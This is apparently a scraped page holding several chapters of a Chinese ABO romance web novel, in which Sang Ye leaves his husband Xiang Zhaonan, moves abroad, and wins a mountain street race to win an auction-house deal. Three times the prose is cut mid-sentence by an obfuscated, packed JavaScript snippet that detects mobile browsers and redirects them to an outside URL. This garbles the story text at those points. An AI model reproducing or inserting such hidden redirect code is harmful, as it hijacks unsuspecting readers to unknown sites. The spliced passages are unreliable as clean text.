他刚走进去,就碰见了阿姨,可能是接触少的缘故,阿姨见了他还有些拘谨,讲起情况来稍显畏缩。 她在桑也面前不会是这样。 相召南心里无缘无故冒出这样一句话。 阿姨是当初桑也非要入住他“回家时首选的房子”,结果自己做饭把手砍伤了后相召南叫助理给他雇的。 别墅有什么不好的?地盘大,又有阿姨照料,桑也不住;就要住他临时落脚、不到三百平的小房子,不给他重新雇个阿姨怕是要搞得头破血流了。 阿姨说家里的一些摆设似乎被人动过,小先生也许久没见到人了。了解完情况,相召南对阿姨说:“他不在你就先回去吧。” 阿姨没动。 “工资照发。” 阿姨这才往厨房走,准备收拾东西回家了。 而他自己,则坐在沙发上。 良久,他拿起手机,在通讯录翻找桑也的电话,发现自己没有添加联系人,只好转而去通话记录找到未接电话那一栏,才拨给了桑也。 第一个,未接。 果然是在闹脾气。 第二个,未接。 气性还挺大。 第三个,未接。 相召南脸色难堪了起来。 打到第十七个,仍旧未接。 他双目紧盯手机屏幕,直到电话自动挂断,拿手机的右手骤然收拢握紧。 学会不接电话了。 跟谁学的,桑也? 相召南打给助理,立马接通。 “查一下——”他顿了顿,桑守安必然联系不上,至于桑也那个朋友,叫什么名字来着?忘了,只记得他劝过桑也离婚。“查一下桑家远郊别墅那个住家阿姨的电话,马上给我。” “好的相总。”助理似乎有什么话想说,呃了一声。 “有话就说。” “是这样的相总,刚刚有位律师过来说是帮桑先生转交……” “说。” “呃,离婚协议。” 相召南本就不虞的面色直接黑了下来。 “叫他滚回去。” “好,好的。那我先叫他滚回去,再帮您查一下联系方式。” “先查联系方式。” “好的。” 相召南胸腔剧烈起伏,离婚? 桑也在搞什么? 一向冷静自持的相氏集团总裁这次竟然无法冷静思考了。 他起身去浴室冲了个冷水澡,这才感觉大脑清醒了些。 欲情故纵的把戏。 呵。 感到自己稍稍冷静了些,他才拨通助理发来的电话号码。 意想不到的是,这通电话竟然也迟迟无人接听,就在他以为又要到时间自动挂断时,手机屏幕开始了通话计时。 然而迟迟无人接听而传出来的滴滴声又再一次激发了他的怒火,让他准备好的质问带上了情绪。 意识到自己情绪过于外露,再次张口时,他刻意收敛。 他听见桑也说“不回去了”,说“离婚吧”,说“不会有情热期了”。 第一次被桑也用如此冷淡决绝的态度对待,他似乎有些不适应,连桑也的言下之意都没能捉住。 大脑似乎有一股热血冲上去,冲得他失去了思考能力,敲击桌面的节奏都变得紊乱。 “玩够了就自己回来。” 他挂断了电话。 没有再给桑也拒绝的机会。 他时常当挂断电话的一方,无论是对桑也还是对其他人,但这一次,他却诡异地显现着一丝慌乱,差点没能准确按到红色按钮。 像是在逃避着什么。 他往后一靠,双臂搭在沙发靠背上,仰着头,让冲上头的血液在身体内循环起来。 桑也不可能不回来。 当时他亲耳听见桑也对凌星说没办法离婚,因为有信息素依赖症。好像很可惜的样子! 要应对这依赖症,要么把腺体挖了,要么依附于百分百契合的对象。 挖腺体? 全然没有可能。 不说腺体移除手术的风险有多高,也不提社会观念对于没有腺体的Omega存在什么样的歧视,单就以桑也那个一碰就哭的性子,绝无可能。 他笃定,桑也一定会回来。 桑也接了桑家阿姨的电话,说明他只是像过去四年一样,闹脾气,跑回桑家了。 等他脾气闹够,自然就回来了。 手机里弹出助理发来的讯息,说是一家新能源公司的负责人来拜访,问他有没有时间见一面。 因为桑氏地产突然爆出丑闻,相渡南在股东大会上当众给他难堪,让他不得不宣布撤资来保全地位,不让这个私生子借机上位。 尽管处理得还算及时,相氏的股市依旧遭到波动,他的声誉也受到不小影响,得抓紧时间做点实绩,免得让相渡南钻了空子。 【跟他们说我半小时后到。】 相召南理了理袖口,下楼驱车前往公司。 …… 凌星帮他收了东西之后,又临时去跑了趟通告,第五天才又来探望他。 “东西直接寄到你家里去了,没问题吧?” 他一进来就大摇大摆坐上病床,“你是不知道,那天我刚下车,就看见相召南从电梯出来,吓得我赶紧又躲回了车里,亲眼看着他开车走了才敢上楼。” “你怕他?” “你不怕?” 桑也垂眸,和想不通为什么凌星怕相召南一样,想不通自己为什么会怕。 似乎失去腺体之后,他和相召南的过往也被一并抹去了。 “虽然我老是叫你干他,但真要面对他,我还真有点怵。你说怎么会有人天天板着一张脸像所有人都欠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406603|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他钱似的呢?” 这话说得没错。 整天臭脸。 但如果是五天前那一次的话,桑心暗道,他或许知道原因。 没等他开口,凌星便自己接了下去:“我爹妈还总是拿他给我当‘榜样’,说我不务正业,要向他学习,我呸呸呸!” “叔叔阿姨还没放弃劝你回去接手家业啊?” “他们哪会放弃?他俩就我一个孩子,可不得指着我么。”语气虽是嫌弃,但仔细听来,也不难发现其实凌星也就是仗着自己是父母唯一的孩子这个筹码胡作非为,“我才不回去,我可是要拿金曲奖的Omega!” “好,大歌手。” 凌星坦然接受,“对了,那天我上楼,刚好碰见你家阿姨出门,我说我来给你收东西,她便帮了我一会,还专门去杂物室翻了一些陈年旧物出来,我打开看了一眼,黑色水杯,被套,还有些杂七杂八的。不知道你还要不要,我都给你打包寄过去了。” 桑也神色不变,因为卧床休养了半个月,他的精神比起刚苏醒那会好了许多,但总归还是虚弱,脸色完全不如凌星红润。 “应该是情侣用品。” 他说得云淡风轻,听话的凌星却立马跳了起来。 “什么晦气玩意儿?” “早知道直接扔垃圾场了。” 桑也会心一笑。 等气消了,凌星问他:“啥时候走啊?” “下周一。” “这么快?” “嗯。毕竟不是伤筋动骨,能下床,就能出国。到了国外再修养也是一样的。” “好吧。”凌星露出可怜兮兮的样子,“我会想你的。” “那你什么时候回来?” “还没走你就想着回来的事了。” “哎,哎!你要是错过我大红大紫咋办。” “有什么是视频电话做不到的吗?” 凌星这才傻笑着点头,“也是。” 桑也没什么朋友——指的是婚后这几年。以前他朋友还是不少的,不管是学校,还是赛车俱乐部,都有几个玩得来的朋友。但结婚之后一心扑在相召南身上,没再去过俱乐部,加上升学,和其他人的关系慢慢就疏远了。 所以他出国前并没有像别的人那样呼朋唤友搞个欢送会,自己一个人就去了。 出发前一天,张姨终于同意他回去见姥姥一面。 陆医生说养病期间不能有太大的情绪波动,所以张姨一直不让他回春城,直到临走前才松口。 姥姥的丈夫很早就和她离婚了,埋在别处,所以姥姥被大哥安排的人埋在了他爸妈旁边,算是另一种意义上的团聚。 只是,桑也擦了擦墓碑,放下一颗苹果,低声说了句,“这地方不好。” 和姥姥道了歉,又和爸妈说了会话,在墓地待了一个下午,天快黑的时候才被张姨叫走。 “天黑了,冷。再不回去赶不上明天的飞机了。” 说话这一会,路边跑出来一条小黄狗,浅金色的毛发中间嵌着一双黑色眼睛和倒三角的黑色鼻子,咖色的耳朵一弹一弹的。 …… 大哥虽然在看守所,但和律师联系,帮他安排好了一切,跟他说只管去,落地了会有人接应。 这点桑也倒不担心,他从小往国外跑的次数也不少。 比起这个,更让他忍不住皱眉的是…… 没人告诉他感知错位会让他在坐飞机的时候感觉自己的脸受到挤压。 那不是屁股的事吗? 25. 第 25 章 “桑总,刚刚得到消息,柴柯斯老爷子的小孙子今晚会在苏洛斯山举办一场赛车,我们要从这里入手吗?” 这是桑也到M国的一个月整,除了刚来那半个月因为身体没有大好还需静养,后半个月他不是和国内视频通讯商量如何为大哥争取减刑,就是跑桑氏在C国的企业。 直到前天,一审结果出来,三年刑期,他才结束和国内每天两小时打底的视频。 除了刑期,他哥名下的资业罚款的罚款,没收的没收,好在当初结婚时他哥怕他没底气,把自己的大半股份无偿赠与了他,勉强保全了大部分。 虽然股份转移公示得晚,但在法律上,还是以签订时间为准,因此这些产业没有受到他哥事情的太大影响。 国内的都交给了职业经理人代为管理,国外的,一些发展还不错的产业,依旧交由经理人代管,比如他母亲所创立的美妆品牌,而发展较为差劲的,桑也打算自己做主改革。 说话的人是他的助理,所谓的“下手”,指的是为桑也接手的这家快要倒闭的拍卖行争取一副稀世珍品的拍卖权。 拍卖行和其他企业不同,不生产任何商品,经营得好不好,全看拍卖的物品价值高不高。 据说收藏家柴柯斯颇为心疼最小的这个孙子,若是能让其代为游说,把拍卖权交给自己,说不定成安拍卖行能起死回生。 “准备一下,我们也去。” 桑也合上钢笔盖帽,理了理桌面上从拍卖行拿回来的过往财报。 “好的桑总。”助理记下今晚的行程,“对了桑总,是否还需从国内购买特效营养剂?我看您的营养剂已经用完了。” “不用。” 他身体素质本就不好,一次性做两场手术,对他身体的摧残是莫大的,要不是一直在使用特效营养剂,他绝无可能这么快就能自由行动。 但再好的药,烧了八位数,也该停了。 助理出去后,桑也在办公室坐了一会。 以前他喜欢穿软糯糯的毛衣,但今时不同往日,他不再是某位总裁的Omega,而是某家企业的总裁,再穿毛衣就显得不合时宜了。 于是他换上了真丝衬衫,银色手表,按照自己印象中的商务人士穿着装饰自己,有样学样,虽然身材薄弱了些,但装备齐全,还算唬得住人。 明亮的吊顶投射下白色光辉,落入他的眼窝。 虽然他答应得快,可“让一个陌生人为自己去劝说其祖父”这任务绝对不是什么简单的事,实打实地上难度了。 要是四年前,他开着自己的战车到赛道上去溜一圈,说不定还能轻而易举得了人家青眼,但现在…… 桑也只觉得脑门有点疼。 算了。 走一步是一步。 苏洛斯山是当地著名的赛车山区,据说是被某家有权有势的公子哥买下公开给所有赛车手使用,就是为了防止被开发,破坏原始的赛车环境。 因为市区和山区离得不算太远,桑也先在公司开了个会,把人事精简公司人员等等任务都安排下去之后,才在傍晚出发去往苏洛斯山。 晚上九点,苏洛斯山山顶。 桑也抵达前,已经有不少人在山顶攀谈。他刚一下车,就有不少目光投射而来。 一个从未见过的陌生车牌号,副驾驶下来一位身形单薄、面容姣好的青年,任是在场众人都是见过俊男靓女的二代,也不自觉被这个东方面庞的年轻来者所吸引。 果然,下车不到一分钟,就有人来搭讪。 桑也只回以一个疏离的笑容,问:“请问柴柯斯少爷在哪里?” “你笑得好看,告诉你也无妨。喏,那儿,瞧见没,人堆里。虽然你长得的确优越,但那一堆里的漂亮Omega也不少,你确定还要去吗?” 桑也点头道谢,在说话的人脸上看见了遗憾之色。 柴柯斯身边人不少,桑也在边上等了一会,见没有散伙的势头,便找了个椅子坐下。 他让助理先回去。 要上去给别人自荐,说实话,对他而言是种挑战,他总是自嘲脸皮厚,但那也只针对特定的人,在外人面前,他稍稍有些尴尬都会红了脸。 但是,来都来了。 哎,总不能临阵脱逃。 让助理先回去也是为了万一被拒绝太尴尬不至于被熟人看见。 至于那些陌生人,谁也不认识谁,两眼一闭就过去了。 他在椅子上坐了快两个小时,来搭讪的人络绎不绝,请他喝酒,或者邀请他坐自己的副驾驶,花样多得很。 桑也一一婉拒了。 坐得太久,腰有些酸疼,他站起来,打算揉揉。 结果刚一起身,就看见众星拱月的柴柯斯朝他走来。 桑也便没好意思揉腰,转而整理了下衣服。 “听他们说你在等我?”柴柯斯看起来也就十八九岁,身着一件酒红色衬衫,半系半解,袒露着半个胸膛。 换做以往桑也还会自觉避开视线,遵守所谓的O德,但现在,他没了束缚,不用再刻意维护自己的“节操”。 M国的人大多开放,他要是表现得扭捏,恐怕会在第一印象上面吃亏。 只是……他再怎么直视不避,骨子里的含蓄还是藏不住,眼神总是不自觉飘走。 “柴柯斯少爷,你说得没错,我正是专门来找你的。” 柴柯斯得了这话,立马朝身边众人炫耀。 看起来他心情还不错。 趁热打铁。 桑也直接开口:“柴柯斯少爷,我是成安拍卖行的主理,这次特意来寻你,是得知您的祖父有一件两百年前的油画想要出手,还没有择定拍卖行。虽然成安式微,但我们愿意……” “停——”柴柯斯脸上满是不耐烦,“我没心情听你说这些。” 桑也的笑容有几分僵滞,他勉强维持住神容,“这……” “这样,马上比赛就开始了。我让露丝把副座让出来,你坐。我要是赢了,就给你一次机会把话讲完,怎么样?” 柴柯斯还没说完,边上就有一个Omega摇着他的胳膊表示不满了。 “不敢么?”见桑也没有说完,柴柯斯眯了眯眼,笑着搂住身边的Omega,“还是没你胆子大啊。” 桑也深吸了一口气。 “柴柯斯少爷,这样胜负都掌握在你手里,我可不放心,不如我们换个玩法?” 柴柯斯把那个Omega推开,一下子来了兴趣。 “噢?你说怎么玩?” 桑也咬了咬牙,手掌不自觉握拢。 “你坐副座,我来开,要是赢了,你就帮我劝说柴柯斯先生,如何?” …… C国,相氏大厦。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406604|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 终于把一家科技公司的投资谈下来,相召南回到办公室,已经有些困顿,但还不打算休息。 他揉了揉太阳穴,稍稍眯了眯。 这一周他每天都只有三四个小时的休息时间,既要和有意愿的公司谈判,又要游说相氏股东,两头难做。 也就是临时从桑氏那里撤资,资金急于流通起来,否则这些公司是不敢像这样压低他们得利占比的。 办公室的门不知被谁打开了。 相召南睁眼,看见钱余端着一杯咖啡进来。 “相总,辛苦了,还要工作的话喝杯咖啡提提神吧?” 相召南没有跟他讲要喝咖啡,这实属钱余自作主张了。但他的确有些困,也就没有责备钱余。 “放着吧。” 钱余一步步向他走来。 相召南皱眉,在钱余把咖啡端到他面前之前突然伸手,稳稳接住了咖啡杯。 他回想起七夕那天,好不容易忙完,让钱余给他泡了个咖啡,结果端来的时候直接倒在了他裤子上,害得他不得不去淋浴间洗漱。 刚才钱余的神色,他不免产生怀疑事情会再次发生。 这些年形形色色的人他见识得不少,钱余的心思…… “少起歪心思。” 钱余回他:“相总,听说桑先生和你离婚了?” 这话已经说得很明了了。 相召南登时站了起来,“没你的事,出去。”他拖着咖啡杯托,把它放在桌面上,瓷勺和杯壁碰撞发出一声轻响。 钱余磨蹭了好一会,见相召南的确没那个意思,才稍显尴尬地转身。 “没离。” 他没签字。 办公室里突兀地响起这一句话。 钱余回首来,相召南跟他说:“叫陈助进来。” 没一会,陈助推门进来。 “相总,您叫我?” “桑也回来了么?”相召南已经重新坐下,咖啡被他放在远离自己的桌角。 再适时的咖啡经由别有所求的人送进来,相召南是不可能入口的。 “桑先生他……”陈助顿了顿,似乎有些难以开口。 相召南蹙眉。 “说。” “桑先生他一个月前就出国了。” 陈助说完,立马低头看着皮鞋。 相召南的脸色刷地阴沉了下来。 因为忙碌,这段时间他疏于形象管理,下巴上冒出了些许胡茬,丰密的眉竟也长出了些碎毛,显得他有些粗犷。 出国? 相召南知道桑也不高兴了就要跑回家,却没想到他竟然跑出国了。 这有些超出相召南的预料。 好像有什么不一样了。 办公桌前的陈助偷偷觑了眼相总的神情,心想,果然如此。 人家追你时你爱答不理,人家走了你又垮着一张脸。 “去哪了。” “M国。” 一个合格的助理,不仅要负责公司事务的汇报和处理,还要兼顾总裁私事。 看在相氏给他开的薪水足够高的份上,他做起事来尽心尽力,就算总裁问他老婆跑哪去了他也能对答如流。 看着相总的脸色愈发森沉,陈助安慰了一句:“不远,就隔了条小河。” “出去。” “好嘞。” 26. 第 26 章 “你要是输了,怎么说?” 柴柯斯颇有兴趣,扫视了一眼面前的人。 从这个人下车开始,苏洛斯山顶就发生了躁动,他们群里纷纷在讨论这个陌生人,第一个上去搭讪的也是他们群里的兄弟,把这个东方人的来意转告给了他们,因此柴柯斯也知道这个引起众人议论的Omega是朝着他来的。 但让他意想不到的是,这个Omega朝着他们走来,却没有直接来找他,反而是在边上的椅子直接坐下了。 一坐就是两个小时! 这个Omega能等,柴柯斯的心确实被勾得等不下去了。 于是他摒弃了从不主动搭讪只等人倒贴的原则,主动开了口。 当然,什么你怎么还不来找我这种话是不可能说的,太掉价。 所以他以“听他们说你在找我”这样一句话作为开场。 这个Omega有着一头乌黑的碎发,一缕黑发蜷曲着耷在挺翘的鼻上,顺滑细碎的发丝下是一张白皙却不失生气的面庞,双目琥珀色,丰润的唇瓣色泽浅淡晶莹,和他身边人要么白得像死人、要么黑得看不清五官的人大不一样。 丝质的衬衫不算贴身,被风一吹便勾勒出肩、腰的形状,单薄,羸弱,盈盈一握。 唯一令柴柯斯不满意的是,扣子系得太满。 Omega回复得很直白,这令柴柯斯有些意外。 还以为这样一个宁愿在边上坐两个小时都不愿意主动来找他的Omega会害羞到红脸,这和柴柯斯的预期完全不符,却意外地让他对这个Omega的兴致更浓烈了些。 然而Omega下一句话,实在令他不喜。 什么啊?什么破拍卖行,谁要听他讲这些? 柴柯斯瞬间对他失去了兴趣。 不过,这Omega随后提出的“帮他比赛”,倒有点意思。 但他不可能这么轻易让一个不知底细的Omega驾驶他的爱车,于是问:“你要是输了,怎么说?” 桑也听他这样问,心想应该是有机会了。 “如果输了,车的维修费我全部承担。” 然而柴柯斯却并不满意,“我缺这点钱?你要是输了,丢的可是我的脸,那是钱的事吗?” 他朝周边的莺莺燕燕歪了歪头,果然就听见边上的人纷纷附和。 桑也稍稍皱了皱眉,并非对众人嘲讽的眼光感到难堪,而是责怪自己开口太过草率,连这么简单的道理都没有想明白。 “要不这样——” 柴柯斯突然开口,但他话还没说出口,就被打断。 “我有一辆柯尼塞格七年前的限定款,CCXR trevita,暗银色,如果输了,无偿转让,够吗?” 相比之前负担维修费的发言,桑也这一次开口就谨慎了许多。 他所提到的跑车是母亲去世后叛逆期的他迷上了赛车,缠着父亲给他买的。 价格不高,加上空运费四千多万,但全世家只生产了两辆,按照时间来看,另一辆售出的时候这个小少爷估计还是个小豆丁,大概率是没有的。 果不其然,此话一出,柴柯斯的眼前瞬间一亮,不自觉往前走了一步。 “你真有?” “嗯,真有。” 拿回了主动权,桑也的态度便平静了许多,没那么激进。 对于一个举办赛车比赛的人,限定跑车的魅力绝对是任何Omega都比不了的,柴柯斯如他预料那样,毫不犹豫答应了。 …… 桑也第一次接触赛车,是母亲车祸逝世之后,父亲和兄长忙于工作,没有人关注他,没有人每晚跟他说晚安,于是叛逆期虽迟但到了。 赛车刺激,风呼啸,肾上腺素飙升,体会过一次之后桑也再也忘不掉了。 而凌星,一直都很叛逆,两人一拍即合,和公学的同学们一起搞了个俱乐部,叫Kacer''s Edge Alliance,俱乐部内部时常举办一些友谊赛,但彼时的桑也并不满足于在同学之间拿冠军。 十七岁的时候,他参加斯彼得比赛,拿下了人生中第一个锦标赛冠军。 随后的一年,他接连拿下四个国赛冠军。 桑守安管不住他,只能叮嘱要他一定注意安全,只在国内玩玩,不能跑出国去。 “国外那些不正规的,往往药、毒都是成套的,你去了就是羊入虎口,知道吗?” 桑也谨记。 然而十八岁那年的事故让他毫无征兆地放下了赛车。 大哥怎么劝都劝不回来的心被一场疾病套了个牢固。 距离他上一次摸赛车已经是四年前的事情了。 必须承认的是,桑也不可避免地感到紧张,甚至在准备时手心出汗,用了好几张纸巾。这一场面也让柴柯斯对他产生了怀疑。 车辆刚启动的时候,桑也还有些手生,落后于对手。 一来不熟悉路线,二来许久未曾碰过赛车,刚起步就落后,要说他心里不慌,那是不可能的。 但事在人为,桑也尽可能放松,集中精神,紧紧跟在对手车后。 赛道周围是密林,只有道路周围有零星的路灯,驶出起点一分钟后,一红一蓝两辆超跑都消失在众人视野中,只能从大屏上的无人机画面看见赛况。 桑也驾驶的跑车一直落后,大屏前柴柯斯的神色有些暗喜。 虽然他嘴上说着输了丢的是他的面子,但实际上大家都知道是谁开的车,比的赛,赢了又跟他有什么关系。 但要是输了,那辆柯尼塞格的主人就要改名换姓了。 还剩下最后一公里,柴柯斯正了正神色,对旁人说:“可惜了。” 然而他话音刚落,周遭人突然出奇一致地发出惊叹。 “天哪!” 甚至有人站起来。 柴柯斯被这一瞬间的嘈杂吸引了注意力,他先是回头去看了眼人群,在众人脸上看见了如出一辙的惊讶,到底是什么样的举动让大家都震惊了? 旋即看向大屏。 “他要在这么急的弯道超车吗?!” “上帝啊,保佑他那张美丽的脸不要受到不可弥补的伤害。” 身后有人说着。 紧接着,短短的十几秒内,柴柯斯亲眼目睹了属于他的跑车在接近三百六十度的弯道擦着另一辆跑车的边超过了它! 那一瞬间,太近了!似乎连两辆车的后视镜都发生了摩擦! 道路上留下了深深的车印,而制造它的跑车却四平八稳地闯过了终点。 咫尺之间,胜了。 …… 桑也下车的时候,整个人都在发抖。 然而这并不是因为害怕,也绝非酸痛,而是源于内心重新燃起的激情,他好像找到了当初比赛的刺激。 平心而论,他的对手车技不错,前期一直稳稳把他压在身后。 唯一的失误就是低估了他,不把他放在心上,全然没想过他会做出弯道超车的事情,以至于让他加速起来,眼睁睁看着他率先抵达。 桑也脱下身上的装备,握了握拳,来缓解浑身的颤栗。 工作人员把他带回山顶的观众席,他看见柴柯斯正坐其中,想也没想便走上前,“柴柯斯少爷,我们可以找个地方谈谈您祖父的事情了吗?” “你想说什么?现在就说吧。” 赢了比赛,柴柯斯脸上却没有显 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柴柯斯竟然说:“我只答应你,要是赢了,就听你把话说完,至于劝说什么的,跟我有什么关系?” 说完作势就要离开。 桑也双手抱臂,气极反笑。 他冒着生命危险跑赢了比赛,结果闹着出? 实在无耻。 和他比起来,相召南似乎都逊色三分! “柴柯斯,谁教你言而无信的?” 随着一声呵斥,通道处走进来一位身着黑色大衣的中年Alpha,头戴一顶黑色帽子,杵着手杖,颇有绅士风范。 桑也循着声音望去,正好看见柴柯斯发现来者是谁后瞬间变了脸色。 “林肯叔叔?” …… 【闹够了没。】 【什么时候回来,让陈助去接。】 【别挑战我的耐心。】 消息发出去半小时,无人回应。 相召南荒废了半小时,什么工作也没做。 桑也收到消息了吗? 为什么不回复? 已读不回? 相召南骨骼中腾升起一股郁闷的烦躁,连桌边的咖啡都变得格外碍眼,看了几眼后,他起身。 咖啡杯哐当坠入水池中,黑棕色的咖啡汩汩流入下水口,瞬间有一片深色布满在他眼前。 相召南掌心落在水龙头上,感应水龙头立马流出清水,将水池中的荒诞冲走。 离开办公室内的洗手间,他再次拨通了之前十七次未接的电话号码。 提示关机了。 相召南微微皱眉,转而拨打了公司内线,叫助理进来。 “把你手机给我。” 陈助愣了一下,旋即掏出手机,解锁后递给相召南。 他眼睁睁看着相总打开了拨号页面,输入号码,打过去。 然后手机里传出了冰冷的女声,提示拨打的号码已关机。 陈助立马就明白了。 相召南问:“你被拉黑了?” 陈助:“我跟桑先生不熟,他拉黑我做什么?” “你是我的助理。” “……”陈助默然,想太多了吧。“桑先生出国,国内的电话卡用不了,所以会这样。” 只见相召南脸上竟然出现了一丝恍然大悟,陈助嘴角抽了抽。 又听见相总交代他:“给我定最近的机票。” 牛马打工人陈助立马拿回手机,毕恭毕敬道:“好的,我马上安排。” 27. 第 27 章 林肯? 桑也对M国不太熟悉,更不知道这个名字在M国意味着什么。 但他能清楚看见方才洋洋得意就要离开的柴柯斯脸色立马浮现了心虚之色,眼睛都不敢直视林肯。 等林肯走近,对他说了句:“过来,给人家道歉。”柴柯斯脸色更差了,憋了一口气,黑着脸挪了过来,跟只鹌鹑似的,“对不起。” 桑也对这声道歉并没有过多的感受,心不甘情不愿,换不到他一声没关系。 “答应了人家什么,记得做到。” “我——”柴柯斯似乎有话要说,最后生生憋了回去,“我知道了,林肯叔。” 说完埋着头就跑了,也不管刚才搂着的那两个Omega。 两个Omega面面相觑,尴尬地回到人群里去。 “林肯先生怎么来了?”其中一个Omega小声问。 柴柯斯走后,林肯朝桑也走来,脱下帽子,从怀中取出一张名片递给他。 桑也打量了一下这位林肯先生,五十上下,虽然是典型的M国长相,却不失儒雅绅士。 显然这二人关系熟络,林肯要柴柯斯给他道歉,桑也并不意外,不管是出于对熟人之子的教育,还是对熟人面子的维护,这一举动都合情合理。 让桑也意想不到的是,林肯竟然让柴柯斯把答应他的事情做到。 柴柯斯跟他玩文字游戏,林肯也用同样的招数对柴柯斯,“做”和“做到”,一字之差,天壤之别。 道歉无非口头功夫说说而已,做事确是实打实的。 桑也蓦地心里一酸,连一个陌生人都能在他被欺骗的时候帮他一二,相召南却只会默不作声,甚至把锋利话语的刀刃朝向亲近的人。 他深吸了一口气,接过林肯的名片,微微一笑,“谢谢。” “很晚了,回去吧。”林肯受了他的感谢,坦然颔首。 就在桑也准备离开的时候,又听见林肯说了句:“如果可以,明天能聊聊吗?关于拍卖行。” 他想做什么? 桑也脚步一顿。 他对这位林肯先生的印象不错,更重要的是,就目前众人的反应看起来,这位林肯先生必然非富即贵,跟他聊聊拍卖行……也不是不行。 “当然可以。” “那明天再联系,赶紧回去休息吧。”林肯双手交叠放在手杖上,柔和的语气给人一种长辈的感觉。 次日。 加上林肯先生的联系方式之后,约定好今天中午在市区的一家小酒馆见面。 上午的时候,他就让助理准备了成安拍卖行的资料。在公司的时候又接到柴柯斯那边的电话,口头交流了一下,约定周末的时候详谈。 昨天回到家里,他上网查了一下这位来头不小的林肯先生,发现果然和他料想的差不多,商业巨鳄,为人低调,与柴柯斯是深交。 反而是他的年龄,让桑也有些惊诧,居然才四十四?看着像五十出头的人。按理说有钱人在金钱的滋养下会比普通人更显年轻才是。 不过查着查着,桑也也就明白了。 这位林肯先生只有一个Beta儿子,喜欢赛车,正是传闻中一掷千金买下苏洛斯山的那位,只是可惜,几年前在一次赛车中意外翻车,十九岁殒命。 据说林肯先生也就是在那之后一下子衰老了十岁。 桑也有些感慨,拳拳爱子之心,在哪个国家都一样。 不过,说聊拍卖行,就聊拍卖行。 他把成安的资料放在车上,亲自驾车去。 小酒馆在城区中心,城中心建得早,道路狭窄,桑也怕堵车迟到,提前下了车,走了一截路。 到了之后有服务员把他带到位置上。 林肯已经到了。 桑也把资料放在桌上,“抱歉,我来晚了。” “我也刚到。”林肯帮他到了一杯白水,“你们年轻人应该都喜欢去酒吧?可惜我年纪大了,受不了太吵闹的环境,退而求其次,酒馆也差不对,对吧?” 桑也当然要展示他作为合作伙伴善解人意的一面。 “我也很少去酒吧了,还是这种酒馆合适些。” 说着,他还朝酒馆内弹着吉他的驻唱歌手侧了侧头。随着侧身的动作,白色衬衫下墨白相间的无事牌滑动了一下。 服务员上了一瓶白葡萄酒,桑也知道自己酒量不好,只小小饮了一口,便把话题往正事上引。 “林肯先生昨天说想谈谈拍卖行,不知道您有什么想法?” “你现在是什么样的想法?”林肯没有直说,反而问他,“成安这几年无人经营,每月的拍卖藏品都是些没名气的,最高成交价也不过百万,早已落后M国另外几家拍卖行。” 他说得都是实话。 桑也默默把带来的资料往边上挪了下,看来林肯对他们也提前了解过了。倒也正常,如果林肯有意加入他们成安,必然要提前了解的。 “今天上午的时候柴柯斯老先生的经理人打来电话,和我们商量了一下那副油画的代理,最后决定周末再细说。” “如果顺利拿到油画的拍卖权,我们初步计划的是先在M国最大的社交平台上营销宣传引流,成安沉寂太久,得用那幅画作为打开名气,不然可能到拍卖那天都吸引不了能拿下油画的人。” 林肯听完,半晌没有言语。 他这幅表情看得桑也莫名心里有点发怵,像上学时候班主任沉默不语的画面。 良久,才听见林肯说:“如果只是想把这幅画拍出个好价,也还算可以。但以后呢?” “以后拿不到这种质量的藏品,成安该拿什么做宣传?投流到油画上面,只是赔钱去给油画抬价。” 桑也捏着酒杯的手收了回来,放在腿上。 腿上还有仍在发痛的伤口,他用指甲隔着布料剐蹭了两下,痛感刺激得他右半身痉挛一下,好在他的衬衫不算紧身尚有余量,能够遮盖住他的窘迫。 疼痛过后,头脑清醒了许多。 “林肯先生有什么高见?” 见桑也听懂了他的言下之意,林肯愉快地端起酒杯喝了一口,“听说你也是画者?大学学的油画专业,刚好也擅长印象一派,有没有想过在镜头前露脸?” 听说。 好委婉的用词。 就算是私底下调查了谁,说出来还是“听说”。 这就是他们这些人的语言艺术吧。 “林肯先生的意思是……” “你学的是油画,和拍卖的画作风格一致,而且你本身水平不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406606|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错,在C国也出了不少成绩,如果你愿意在镜头前露脸,打个传承者的噱头,把自己推出去,绝对比单纯给那幅画投流对成安拍卖行效果好得多。” “最关键的是,凭你这张脸,在哪个平台都能节省预算。” 说得桑也有些心动。 但是…… “这样会不会太喧宾夺主了些?” 却听见林肯先生斩钉截铁说:“就是要喧宾夺主,才能救你的成安。” 桑也心里一震。 从林肯提出问题时桑也就知道他的策略缺少长期性,但林肯先生所说的营销他自己又让他这个很少在大众面前露面的人有些胆怯。喧宾夺主不是重点,缺少的勇气才是他的绊脚石。 